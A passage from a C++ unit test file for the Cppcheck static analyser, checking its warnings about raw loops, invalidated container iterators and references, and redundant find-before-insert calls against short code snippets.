++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" v.clear();\\n\"\n \" std::cout << *p << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:24] -> [test.cpp:3:18] -> [test.cpp:3:14] -> [test.cpp:4:7] -> [test.cpp:2:10] -> [test.cpp:5:19]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" return a.i->front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" const std::vector* i;\\n\"\n \" A(const std::vector& v)\\n\"\n \" : i(&v)\\n\"\n \" {}\\n\"\n \"};\\n\"\n \"void g(const std::vector& v);\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A a{v};\\n\"\n \" v.push_back(1);\\n\"\n \" g(a);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10984\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto g = [&v]{};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [&]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:3:33] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" auto g = [=]{ std::cout << *it << std::endl;};\\n\"\n \" v.push_back(1);\\n\"\n \" g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:22] -> [test.cpp:4:7] -> [test.cpp:1:25] -> [test.cpp:5:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int* p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" A a{v.data()};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:15] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" int*& p;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void f(std::vector v) {\\n\"\n \" auto* p = v.data();\\n\"\n \" A a{p};\\n\"\n \" v.push_back(1);\\n\"\n \" a.g();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:6:21] -> [test.cpp:7:9] -> [test.cpp:8:7] -> [test.cpp:5:25] -> [test.cpp:9:5]: (error) Using object that points to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #11028\n check(\"void f(std::vector c) {\\n\"\n \" std::vector d(c.begin(), c.end());\\n\"\n \" c.erase(c.begin());\\n\"\n \" d.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11147\n check(\"void f(std::string& s) {\\n\"\n \" if (!s.empty()) {\\n\"\n \" std::string::iterator it = s.begin();\\n\"\n \" s = s.substr(it - s.begin());\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:13]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n // #11630\n check(\"int main(int argc, const char* argv[]) {\\n\"\n \" std::vector args(argv + 1, argv + argc);\\n\"\n \" args.push_back(\\\"-h\\\");\\n\"\n \" args.front();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #13108\n \" auto it = unknown(v);\\n\"\n \" auto w = std::vector{ it, v.end() };\\n\"\n \" v.erase(it, v.end());\\n\"\n \" for (const auto& i : w) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13410\n check(\"int f(std::vector& v) {\\n\"\n \" const int* i = &*v.cbegin();\\n\"\n \" v.push_back(1);\\n\"\n \" return *i;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:26] -> [test.cpp:2:30] -> [test.cpp:1:26] -> [test.cpp:2:20] -> [test.cpp:2:20] -> [test.cpp:3:7] -> [test.cpp:1:25] -> [test.cpp:4:13]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #9834\n check(\"struct CJ {\\n\"\n \" std::string m_string1 = \\\"hello\\\";\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" std::vector vec1;\\n\"\n \" vec1.push_back(CJ());\\n\"\n \" auto& a_ref = vec1.at(0).m_string1;\\n\"\n \" vec1.clear();\\n\"\n \" std::cout << a_ref << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:17] -> [test.cpp:7:24] -> [test.cpp:8:10] -> [test.cpp:9:18]: (error) Reference to vec1 that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n }\n\n void invalidContainerLoop() {\n // #9435\n check(\"void f(std::vector v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 5)\\n\"\n \" v.push_back(i * 2);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:15]: (error) Calling 'push_back' while iterating the container is invalid. [invalidContainerLoop]\\n\", errout_str());\n\n // #9713\n check(\"void f() {\\n\"\n \" std::vector v{1, 2, 3};\\n\"\n \" for (int i : v) {\\n\"\n \" if (i == 2) {\\n\"\n \" v.clear();\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void add(int i) {\\n\"\n \" v.push_back(i);\\n\"\n \" } \\n\"\n \" void f() {\\n\"\n \" for(auto i:v)\\n\"\n \" add(i);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:7] -> [test.cpp:7:5] -> [test.cpp:8:7]: (error) Calling 'add' while iterating the container is invalid. [invalidContainerLoop]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #14013\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r = v.emplace_back(std::make_unique());\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" std::unique_ptr& r{ v.emplace_back(std::make_unique()) };\\n\"\n \" r->i = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void findInsert() {\n check(\"void f1(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f1(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f2(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f3(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f4(std::unordered_set& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f5(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void f6(std::unordered_map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g1(std::map& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 2;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, 